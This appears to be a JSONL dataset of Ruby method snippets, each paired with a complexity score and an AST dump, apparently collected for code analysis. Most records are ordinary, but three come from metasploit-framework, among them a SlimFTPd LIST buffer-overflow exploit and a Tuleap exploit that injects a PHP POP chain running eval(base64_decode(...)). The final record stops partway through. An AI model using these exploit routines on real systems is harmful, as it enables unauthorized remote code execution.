{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/slimftpd_list_concat.rb","start_line":56,"raw_source":"def exploit\n    c = connect_login\n    return if not c\n\n    print_status(\"Trying target #{target.name}...\")\n\n    buf = make_nops(511)\n    buf[10, payload.encoded.length] = payload.encoded\n    buf[507, 4] = [ target.ret ].pack('V')\n\n    send_cmd(['XMKD', '41414141'], true);\n    send_cmd(['CWD', '41414141'], true);\n    send_cmd(['LIST', buf], false)\n\n    handler\n    disconnect\n  end","complexity_score":27.05,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[null,\"connect_login\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[511]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"[]=\",{\"type\":\"int\",\"children\":[10]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"[]=\",{\"type\":\"int\",\"children\":[507]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"XMKD\"]},{\"type\":\"str\",\"children\":[\"41414141\"]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CWD\"]},{\"type\":\"str\",\"children\":[\"41414141\"]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LIST\"]},{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"15eabee0-4d42-43e3-98a5-23f08c29739b"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/fetch_multi_test.rb","start_line":105,"raw_source":"def test_fetch_multi_with_mixed_hits_and_misses_notifies\n    subscriber = nil\n    Item.fetch(@bob.id)\n\n    IdentityCache.cache.with_memoization do\n      Item.fetch(@fred.id)\n      expected = { memoizing: true, memo_hits: 1, cache_hits: 1, cache_misses: 1 }\n      events = 0\n      subscriber = ActiveSupport::Notifications.subscribe(\"cache_fetch_multi.identity_cache\") do |_, _, _, _, payload|\n        events += 1\n        assert(payload.delete(:resolve_miss_time) > 0)\n        assert_equal(expected, payload)\n      end\n      Item.fetch_multi(@bob.id, @joe.id, @fred.id)\n      assert_equal(1, events)\n    end\n  ensure\n    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber\n  end","complexity_score":36.88,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_multi_with_mixed_hits_and_misses_notifies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},\"id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"cache\"]},\"with_memoization\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fred\"]},\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memoizing\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memo_hits\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_hits\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_misses\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"str\",\"children\":[\"cache_fetch_multi.identity_cache\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"resolve_miss_time\"]}]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@joe\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fred\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"events\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"unsubscribe\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]},null]}]}]}","id":"d0426bdf-b581-4f99-add7-cdc572408934"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/web_hooks/hook.rb","start_line":103,"raw_source":"def rate_limited?\n        rate_limiter.rate_limited?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rate_limited?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rate_limiter\"]},\"rate_limited?\"]}]}","id":"0008e665-f043-4e25-8171-3b67fafa57a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/migrations/move_ci_job_artifacts_to_dynamic_schema_spec.rb","start_line":72,"raw_source":"def drop_partition(name)\n    return unless table_exists?(name)\n\n    ApplicationRecord.connection.execute(<<~SQL)\n      ALTER TABLE p_#{table_name} DETACH PARTITION #{name};\n      DROP TABLE IF EXISTS #{name};\n    SQL\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"drop_partition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_exists?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ALTER TABLE p_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" DETACH PARTITION \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"DROP TABLE IF EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]}]}]}]}]}","id":"90b5855a-21d9-47bd-afdd-166886e3602b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb","start_line":63,"raw_source":"def is_supermicro?\n    res = send_request_cgi(\n      {\n        \"uri\" => \"/\",\n        \"method\" => \"GET\"\n      }\n    )\n\n    if res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\\./\n      return true\n    else\n      return false\n    end\n  end","complexity_score":10.65,"ast_json":"{\"type\":\"def\",\"children\":[\"is_supermicro?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ATEN International Co Ltd\\\\.\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"ecae4d86-6abd-43d4-8abe-40539d4ad318"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/tuleap_rest_unserialize_exec.rb","start_line":56,"raw_source":"def setup_popchain(random_param)\n    print_status(\"Trying to login through the REST API...\")\n\n    user = datastore['USERNAME']\n    pass = datastore['PASSWORD']\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'api/tokens'),\n      'ctype' => 'application/json',\n      'data' => { 'username' => user, 'password' => pass }.to_json\n    })\n\n    unless res && (res.code == 201 || res.code == 200) && res.body\n      msg = \"Login failed with #{user}:#{pass}\"\n      print_error(msg) if @is_check\n      fail_with(Failure::NoAccess, msg)\n    end\n\n    body = JSON.parse(res.body)\n    uid = body['user_id']\n    token = body['token']\n\n    print_good(\"Login successful with #{user}:#{pass}\")\n    print_status(\"Updating user preference with POP chain string...\")\n\n    php_code = \"null;eval(base64_decode($_POST['#{random_param}']));//\"\n\n    pop_chain = 'a:1:{i:0;a:1:{'\n    pop_chain << 's:2:\"id\";O:8:\"Mustache\":2:{'\n    pop_chain << 'S:12:\"\\00*\\00_template\";'\n    pop_chain << 's:42:\"{{#fetchPostActions}}{{/fetchPostActions}}\";'\n    pop_chain << 'S:11:\"\\00*\\00_context\";a:1:{'\n    pop_chain << 'i:0;O:34:\"Transition_PostAction_FieldFactory\":1:{'\n    pop_chain << 'S:23:\"\\00*\\00post_actions_classes\";a:1:{'\n    pop_chain << \"i:0;s:#{php_code.length}:\\\"#{php_code}\\\";}}}}}}\"\n\n    pref = { 'id' => uid, 'preference' => { 'key' => 'recent_elements', 'value' => pop_chain } }\n\n    res = send_request_cgi({\n      'method' => 'PATCH',\n      'uri' => normalize_uri(target_uri.path, \"api/users/#{uid}/preferences\"),\n      'ctype' => 'application/json',\n      'headers' => { 'X-Auth-Token' => token, 'X-Auth-UserId' => uid },\n      'data' => pref.to_json\n    })\n\n    unless res && res.code == 200\n      msg = \"Something went wrong\"\n      print_error(msg) if @is_check\n      fail_with(Failure::UnexpectedReply, msg)\n    end\n  end","complexity_score":68.98,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_popchain\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"random_param\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Trying to login through the REST API...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"api/tokens\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]},\"to_json\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[201]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Login failed with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@is_check\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"token\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Login successful with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Updating user preference with POP chain string...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"php_code\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"null;eval(base64_decode($_POST['\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_param\"]}]},{\"type\":\"str\",\"children\":[\"']));//\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pop_chain\",{\"type\":\"str\",\"children\":[\"a:1:{i:0;a:1:{\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop_chain\"]},\"<<\",{\"type\":\"str\",\"children\":[\"s:2:\\\"id\\\";O:8:\\\"Mustache\\\":2:{\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop_chain\"]},\"<<\",{\"type\":\"str\",\"children\":[\"S:12:\\\"\\\\00*\\\\00_template\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop_chain\"]},\"<<\",{\"type\":\"str\",\"children\":[\"s:42:\\\"{{#fetchPostActions}}{{/fetchPostActions}}\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop_chain\"]},\"<<\",{\"type\":\"str\",\"children\":[\"S:11:\\\"\\\\00*\\\\00_context\\\";a:1:{\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop_chain\"]},\"<<\",{\"type\":\"str\",\"children\":[\"i:0;O:34:\\\"Transition_PostAction_FieldFactory\\\":1:{\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop_chain\"]},\"<<\",{\"type\":\"str\",\"children\":[\"S:23:\\\"\\\\00*\\\\00post_actions_classes\\\";a:1:{\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop_chain\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"i:0;s:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_code\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\":\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_code\"]}]},{\"type\":\"str\",\"children\":[\"\\\";}}}}}}\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pref\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"uid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"preference\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"recent_elements\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"pop_chain\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"PATCH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"api/users/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uid\"]}]},{\"type\":\"str\",\"children\":[\"/preferences\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Auth-Token\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Auth-UserId\"]},{\"type\":\"lvar\",\"children\":[\"uid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pref\"]},\"to_json\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"Something went wrong\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@is_check\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}]}","id":"19700553-c45b-47f1-b6a5-bf57e40d6181"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/work_packages_filter_helper.rb","start_line":170,"raw_source":"def filter_object(property, operator, values = nil)\n    v3_property = API::Utilities::PropertyNameConverter.from_ar_name(property)\n    values = filter_values(values) if values\n\n    {\n      n: v3_property,\n      o: operator,\n      v: values\n    }.compact\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property\"]},{\"type\":\"arg\",\"children\":[\"operator\"]},{\"type\":\"optarg\",\"children\":[\"values\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v3_property\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"Utilities\"]},\"PropertyNameConverter\"]},\"from_ar_name\",{\"type\":\"lvar\",\"children\":[\"property\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[null,\"filter_values\",{\"type\":\"lvar\",\"children\":[\"values\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"n\"]},{\"type\":\"lvar\",\"children\":[\"v3_property\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"o\"]},{\"type\":\"lvar\",\"children\":[\"operator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"v\"]},{\"type\":\"lvar\",\"children\":[\"values\"]}]}]},\"compact\"]}]}]}","id":"17a7e7ed-7e0e-4c67-8b33-3fe6fd9b9370"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/lib/task_helpers/imports/custom_buttons_spec.rb","start_line":160,"raw_source":"def assert_imports_only_custom_button_set_one\n    expect(CustomButton.count).to eq(3)\n  end","complexity_score":5.15,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_imports_only_custom_button_set_one\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomButton\"]},\"count\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"int\",\"children\":[3]}]}]}]}","id":"beceba7e-26dd-4400-95b6-8dbabeece0e2"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/multiline_element_indentation.rb","start_line":50,"raw_source":"def indent_base(left_brace, first, left_parenthesis)\n        return [left_brace.column, :left_brace_or_bracket] if style == brace_alignment_style\n\n        pair = hash_pair_where_value_beginning_with(left_brace, first)\n        if pair && key_and_value_begin_on_same_line?(pair) &&\n           right_sibling_begins_on_subsequent_line?(pair)\n          return [pair.loc.column, :parent_hash_key]\n        end\n\n        if left_parenthesis && style == :special_inside_parentheses\n          return [left_parenthesis.column + 1, :first_column_after_left_parenthesis]\n        end\n\n        [left_brace.source_line =~ /\\S/, :start_of_line]\n      end","complexity_score":23.53,"ast_json":"{\"type\":\"def\",\"children\":[\"indent_base\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"left_brace\"]},{\"type\":\"arg\",\"children\":[\"first\"]},{\"type\":\"arg\",\"children\":[\"left_parenthesis\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"brace_alignment_style\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_brace\"]},\"column\"]},{\"type\":\"sym\",\"children\":[\"left_brace_or_bracket\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"pair\",{\"type\":\"send\",\"children\":[null,\"hash_pair_where_value_beginning_with\",{\"type\":\"lvar\",\"children\":[\"left_brace\"]},{\"type\":\"lvar\",\"children\":[\"first\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},{\"type\":\"send\",\"children\":[null,\"key_and_value_begin_on_same_line?\",{\"type\":\"lvar\",\"children\":[\"pair\"]}]}]},{\"type\":\"send\",\"children\":[null,\"right_sibling_begins_on_subsequent_line?\",{\"type\":\"lvar\",\"children\":[\"pair\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"loc\"]},\"column\"]},{\"type\":\"sym\",\"children\":[\"parent_hash_key\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_parenthesis\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"special_inside_parentheses\"]}]}]},{\"